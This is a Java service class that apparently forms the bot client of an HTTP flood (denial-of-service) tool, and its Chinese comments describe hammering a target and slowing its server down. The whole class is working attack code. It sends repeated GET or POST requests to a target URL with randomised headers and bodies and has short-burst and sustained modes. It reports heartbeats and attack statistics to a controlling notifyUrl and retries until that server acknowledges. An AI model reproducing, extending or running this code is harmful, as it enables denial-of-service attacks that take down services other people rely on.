package com.wangsh.forward.outer.service.impl;

import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;
import java.util.Random;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.wangsh.forward.outer.service.IClientOuterOperService;
import com.wangsh.webforward.common.service.BaseServiceImpl;
import com.wangsh.webforward.common.util.ConstatFinalUtil;

public class ClientOuterOperServiceImpl extends BaseServiceImpl implements IClientOuterOperService
{
	@Override
	public void requestMultiThreadService(JSONObject dataReqJSON, int stRecord, int edRecord)
	{
		ConstatFinalUtil.SYS_LOGGER.info("requestMultiThreadService;stRecord:{},edRecord:{}",stRecord,edRecord);
		
		/* 接收参数 */
		JSONObject dataResJSON = new JSONObject();
		String url = dataReqJSON.get("url") + "";
		JSONArray headerArr = (JSONArray) dataReqJSON.get("headerArr");
		JSONArray requestArr = (JSONArray) dataReqJSON.get("requestArr");
		String method = dataReqJSON.get("method") + "";
		String id = dataReqJSON.get("id") + "";
		String reqtype = dataReqJSON.get("reqtype") + "";
		
		if(headerArr.size() == 0 )
		{
			/* 如果请求头为空,就采取默认的 */
			headerArr = ConstatFinalUtil.HTTP_JSONARR ; 
		}

		/* 响应内容 */
		Map<String, String> responseMap = new HashMap<String, String>();
		// TODO 执行完成以后,需要计算请求的结果,需要上报给请求的网址
		String notifyUrl = dataReqJSON.getString("notifyUrl");
		
		/* 次数统计 */
		int totalCount = 0 ; 
		int succedCount = 0;
		int failedCount = 0;
		
		/* 随机获取 */
		Random random = new Random();
		String responseResult = "" ; 
		Map<String, String> responseResultMap = new HashMap<String, String>();
		/* 多线程请求 */
		for(int i = stRecord ; i <= edRecord ; i ++ )
		{
			if("0".equalsIgnoreCase(reqtype))
			{
				/* 短期:拼命的请求 */
				ConstatFinalUtil.randSleep("fast");
			}else if("1".equalsIgnoreCase(reqtype))
			{
				/* 长期:每次请求都要结果,就是把服务器搞慢 */
				ConstatFinalUtil.randSleep("slow");
			}else 
			{
				/* 短期:拼命的请求 */
				ConstatFinalUtil.randSleep("fast");
			}
			/* 请求头随机, */
			JSONObject headerJSON = new JSONObject() ;
			if(headerArr.size() > 0)
			{
				headerJSON = headerArr.getJSONObject(random.nextInt(headerArr.size())) ;
			}
			Map<String, String> headerMap = ConstatFinalUtil.jsonToMap(headerJSON);
			/* 请求体随机 */
			JSONObject requestJSON = new JSONObject() ;
			if(requestArr.size() > 0 )
			{
				requestJSON = requestArr.getJSONObject(random.nextInt(requestArr.size())) ;
			}
			Map<String, String> paramsMap = ConstatFinalUtil.jsonToMap(requestJSON);
			
			String response = "";
			if ("post".equalsIgnoreCase(method))
			{
				response = this.httpUtil.methodPost(url, headerMap, paramsMap, responseMap);
			} else
			{
				response = this.httpUtil.methodGet(url, headerMap, paramsMap, responseMap);
			}
			
			if(!"".equalsIgnoreCase(response))
			{
				/* 存储结果 */
				if("".equalsIgnoreCase(responseResult))
				{
					responseResult = response ; 
					responseResultMap = responseMap ; 
				}
				succedCount++;
			} else
			{
				failedCount++;
			}
			totalCount ++ ;
			
			/* 每隔多少条都请求一下服务器,证明还在攻击 */
			boolean requestFlag = false ; 
			if("0".equalsIgnoreCase(reqtype) && totalCount % ConstatFinalUtil.CONFIG_JSON.getIntValue("batchSize.big") == 0 )
			{
				/* 短期:拼命的请求 */
				requestFlag = true ; 
			}else if("1".equalsIgnoreCase(reqtype) && totalCount % ConstatFinalUtil.CONFIG_JSON.getIntValue("batchSize.small") == 0 )
			{
				/* 长期:每次请求都要结果,就是把服务器搞慢 */
				requestFlag = true ; 
			}else if(totalCount % ConstatFinalUtil.CONFIG_JSON.getIntValue("batchSize.big") == 0 )
			{
				/* 短期:拼命的请求 */
				requestFlag = true ; 
			}
			if(requestFlag)
			{
				try
				{
					/* 开始请求服务器 */
					paramsMap.clear();
					
					JSONObject dataCliReqJSON = new JSONObject();
					dataCliReqJSON.put("version", "1");
					dataCliReqJSON.put("method", "judgeClientStatus");
					dataCliReqJSON.put("pubKey", "1");
					dataCliReqJSON.put("encrypt", "1");
					dataCliReqJSON.put("data", dataResJSON);
					/* 上行请求数据 */
					paramsMap.put("json", URLEncoder.encode(dataCliReqJSON.toJSONString(), "UTF-8"));
					response = this.httpUtil.methodPost(notifyUrl,headerMap,paramsMap,responseMap);
					ConstatFinalUtil.SYS_LOGGER.info("心跳机制,服务器端返回:{}",response);
					/*========想服务器通知结果============*/
					/* 存储结果体 */
					JSONObject responseHeaderJSON = new JSONObject();
					responseHeaderJSON.putAll(responseResultMap);
					
					dataResJSON.put("totalCount",totalCount);
					dataResJSON.put("succedCount",succedCount);
					dataResJSON.put("failedCount",failedCount);
					dataResJSON.put("response",responseResult);
					dataResJSON.put("responseHeader",responseHeaderJSON);
					
					dataResJSON.put("id",id);
					ConstatFinalUtil.SYS_LOGGER.info("请求结果:{}",dataResJSON.toJSONString());
					
					/**
					 * 通知服务器的结果
					 */
					requestResult(dataResJSON, reqtype, responseMap, notifyUrl);
				} catch (Exception e)
				{
				}
			}
		}
		
		/* 存储结果体 */
		JSONObject responseHeaderJSON = new JSONObject();
		responseHeaderJSON.putAll(responseResultMap);
		
		dataResJSON.put("totalCount",totalCount);
		dataResJSON.put("succedCount",succedCount);
		dataResJSON.put("failedCount",failedCount);
		dataResJSON.put("response",responseResult);
		dataResJSON.put("responseHeader",responseHeaderJSON);
		
		dataResJSON.put("id",id);
		ConstatFinalUtil.SYS_LOGGER.info("请求结果:{}",dataResJSON.toJSONString());
		
		/**
		 * 通知服务器的结果
		 */
		requestResult(dataResJSON, reqtype, responseMap, notifyUrl);
	}

	/**
	 * 向服务器请求结果
	 * @param dataResJSON
	 * @param reqtype
	 * @param responseMap
	 * @param notifyUrl
	 */
	private void requestResult(JSONObject dataResJSON, String reqtype, Map<String, String> responseMap,
			String notifyUrl) 
	{
		if(notifyUrl != null && !"".equalsIgnoreCase(notifyUrl))
		{
			/* 按照上行的信息去请求 */
			JSONObject dataCliReqJSON = new JSONObject();
			dataCliReqJSON.put("version", "1");
			dataCliReqJSON.put("method", "webUrlUpdate");
			dataCliReqJSON.put("pubKey", "1");
			dataCliReqJSON.put("encrypt", "1");
			dataCliReqJSON.put("data", dataResJSON);
			
			/* 请求体 */
			Map<String, String> headerMap = new HashMap<String, String>();
			Map<String, String> paramsCliReqMap = new HashMap<String, String>();
			while(true)
			{
				try
				{
					if("0".equalsIgnoreCase(reqtype))
					{
						/* 短期:拼命的请求 */
						ConstatFinalUtil.randSleep("fast");
					}else if("1".equalsIgnoreCase(reqtype))
					{
						/* 长期:每次请求都要结果,就是把服务器搞慢 */
						ConstatFinalUtil.randSleep("slow");
					}else 
					{
						/* 短期:拼命的请求 */
						ConstatFinalUtil.randSleep("fast");
					}
					paramsCliReqMap.put("json", URLEncoder.encode(dataCliReqJSON.toJSONString(),"UTF-8"));
					String response = this.httpUtil.methodPost(notifyUrl,headerMap,paramsCliReqMap,responseMap);
					JSONObject responseJSON = (JSONObject) JSON.parse(response);
					if(responseJSON != null && "0".equalsIgnoreCase(responseJSON.getString("code")))
					{
						ConstatFinalUtil.SYS_LOGGER.info("请求结束:{}",dataResJSON.toJSONString());
						break ; 
					}
				} catch (Exception e)
				{
					ConstatFinalUtil.SYS_LOGGER.info("更新请求结果异常:url:{},header:{},{}",headerMap,dataResJSON.toJSONString(),e);
				}
			}
		}
	}
}
